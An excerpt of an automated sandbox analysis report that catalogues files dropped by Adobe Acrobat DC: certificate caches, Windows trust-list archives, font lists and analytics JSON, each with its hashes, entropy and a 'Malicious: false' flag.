SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.73533016978716
Encrypted:	false
SSDEEP:	3:kkFklVQcakltfllXlE/HT8k9ljNNX8RolJuRdxLlGB9lQRYwpDdt:kKRcakleT8MlRNMa8RdWBwRd
MD5:	A669F25AF3B98945CCF56D47E18DD08A
SHA1:	33076A2125EE55C363D9F11F6059F6A4F09E375E
SHA-256:	C6153D646B3A415E7614A6687BB842D85BC794ED42B36F61BCC7B5275FCF172B
SHA-512:	D0D2BE9BAD7A3051049FE02A0D0567D7EBCD508D10672CC39F2E67F151FED0CE75380AFFEA7FDE5120F6D64FA5AA6BE5F0F5B1F8D345963102C05805E22AA3A5
Malicious:	false
Preview:	p...... .............d..(....................................................... ..........W.....L..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.212744089585098
Encrypted:	false
SSDEEP:	6:kKd3vVlL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ZiDImsLNkPlE99SNxAhUe/3
MD5:	73FCE82D0C550511C459006411979423
SHA1:	1968C7749A6B468FC70140533CD22FA6469535D3
SHA-256:	17FC8ABEECE9C7E1B8F11BA0FCE4B49D3EBF99411E8CB7D0F3424C6E84D2B0D0
SHA-512:	9A947CAE8A4ED01B1D9C7EAC3B7A6898FAC4DE7111DA905D33C9DDA95C338EA84A46834AE5CE126A8697BF90A909F9E7964E24056C49E6BBF7C9EE1E09638945
Malicious:	false
Preview:	p...... ........q....d..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7860

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.350904730584448
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJM3g98kUwPeUkwRe9:YvXKXifLT5LjIPGGnGMbLUkee9
MD5:	7B93F079F9DD26926841AA9B39B14D8C
SHA1:	F4F0365428DC4FFE580B2F4158B1181858FFE6C5
SHA-256:	AE90DBDB29D74ECD415C9507C98093FFC1BCA50947ACAFA4DD2506CC58FC6770
SHA-512:	13DF66B81F587070C258A2A51D05D627F50A811CD2DBE20D9DD30B605796BA10CFBD72A7220BA17A8619A2AE8707BB65A497770A3C910A7DC1518941B89C1505
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3026806472166115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfBoTfXpnrPeUkwRe9:YvXKXifLT5LjIPGGnGWTfXcUkee9
MD5:	72B35D43AADEC72B5CC125C6396D38A4
SHA1:	4CA6FAA65F8023329D779CFE48ECE98C71F409F7
SHA-256:	06D7F8D49958BE2F06065401466759FC7693DF6DD2460925CE11636B9959C2B1
SHA-512:	D6E607377FA7162C9392DA1BEAD5C1CD4F6780D0349F393D6A156265091BC48669206183C59509D942F8827BC8972957A77CBF35EB0BE44D60A1CB31567F58F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280530740793681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfBD2G6UpnrPeUkwRe9:YvXKXifLT5LjIPGGnGR22cUkee9
MD5:	B164F15A18816BB4DFFCBF8D9FC0AE35
SHA1:	BB5C079D8F1D7080F1AA635EF5837C3FB27322E3
SHA-256:	DFCE8F757C7AD60EF03D2F549D2AC2F2B1EA064ACFBF340F889FF69D7C4ABB3E
SHA-512:	1FB078673A3A5B987D6C6F1F418E4DD0C40861910CC204263C88C7DF640F00D1E74D85DE22CD07D00697FAFD9669A4464CF4858093C2D5593E4D7A929898E78F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.331469617328005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfPmwrPeUkwRe9:YvXKXifLT5LjIPGGnGH56Ukee9
MD5:	C7943EE9772449348CD4A78F23AA3BA1
SHA1:	1A9488F98B391D91AA2CA81357C148C6A291DA7F
SHA-256:	188D93AE10F8FFABF1EC2CF6E835E4F61034A94E75D2F08BB442842305489DF2
SHA-512:	260CC65FEBA24EC84C63F28A8B72309CEA371C8D58BBA753620CE5508A3A60378D521321FF35391A6411624F328F08F2D7B355BEDD2B334352DF67F7393F0CEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685979070271954
Encrypted:	false
SSDEEP:	24:Yv6XqLT5XIeGspLgE9cQx8LennAvzBvkn0RCmK8czOCCSA:YvLBXTvhgy6SAFv5Ah8cv/A
MD5:	952FD5AEF63F19AF110AB1BBDCC6C69A
SHA1:	C669DCF97AB6666633AB329AF3AA0077695B89E8
SHA-256:	292B5E4B9B3E44D092F11C975FB60C1BBD9461D4352661EFDCA4A5D4F0CCA5CF
SHA-512:	DE9F924C731F018FA3E19CB1CA6771EF9061E1CCE0876739B8D56CF16CA1D93002F43E0E86BB6A712F68E23DDBD104A9D115CD237138F5BF7DC3D3EEA838FE83
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.30006311512766
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJf8dPeUkwRe9:YvXKXifLT5LjIPGGnGU8Ukee9
MD5:	8B25565A5CD188AAEFFCF0358CA7B5F0
SHA1:	AF0BA3A2B8980AC7E5A78EA75F96F1A5071B397A
SHA-256:	EE6E931915ED170D95DB4C6009C877EBF7BFB0E8698422C76322DC9878642530
SHA-512:	022D4DB8004DB10712E15D50C21612398E5044DAABF5FD37EA65902785678CF2F7A7E532583A834227E2868C1E1A994366A9490591576C19AB4C35515AC606CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.292457545381589
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfQ1rPeUkwRe9:YvXKXifLT5LjIPGGnGY16Ukee9
MD5:	85C0F27395971AD31D1B4D6CE90D77BE
SHA1:	4765E258731DF6B332E3E009E6F49E4A941A505E
SHA-256:	F569E608EE9ED620E2A381FD53DF7466F82689B65AC2B128259037E41AA3B3D3
SHA-512:	DC509401F9510DEA53D6DF3F4903B5FA0DD6701A5A96467728C7912408BE5F3920AA7B34D8ED864853534018AC504A178978CBC444506E2500D5905B1BA71038
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307198513384072
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfFldPeUkwRe9:YvXKXifLT5LjIPGGnGz8Ukee9
MD5:	5A6A7E75AB9D616746D9DCD73B898491
SHA1:	CFC659E6B7EBFDE7CD417DEEBEEB374627ECF31F
SHA-256:	080A8B44513618F1A236B937171F21B6BBC8A5425EA2B445D03A048E10FAE18A
SHA-512:	B2B5710F0E8AB28D69EE946819E46F82AE3E51823BE714703086AEFF44C2101A202B0F0C7460B050D9EDF1F042ADCBD8925E1EC15C58C013C67E76F312C8E5EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.326397586200291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfzdPeUkwRe9:YvXKXifLT5LjIPGGnGb8Ukee9
MD5:	D0064E76ED4CA8A4F836DD422F26B879
SHA1:	4A2E33D33D2B8A3BEAE5F395732354F144313150
SHA-256:	F87335A9DC0E1E36DBCD4349444328AE176A29F8ACDF449E8C49BBDBB2A2B800
SHA-512:	41CA10AA83DFB2C57537187EBF56ED60876394A0192BEBD87181B038D0D13224DB14BEE54F6043DB487A606C9C61C4D45523BA8C684912C1630BF89E37CE4F38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

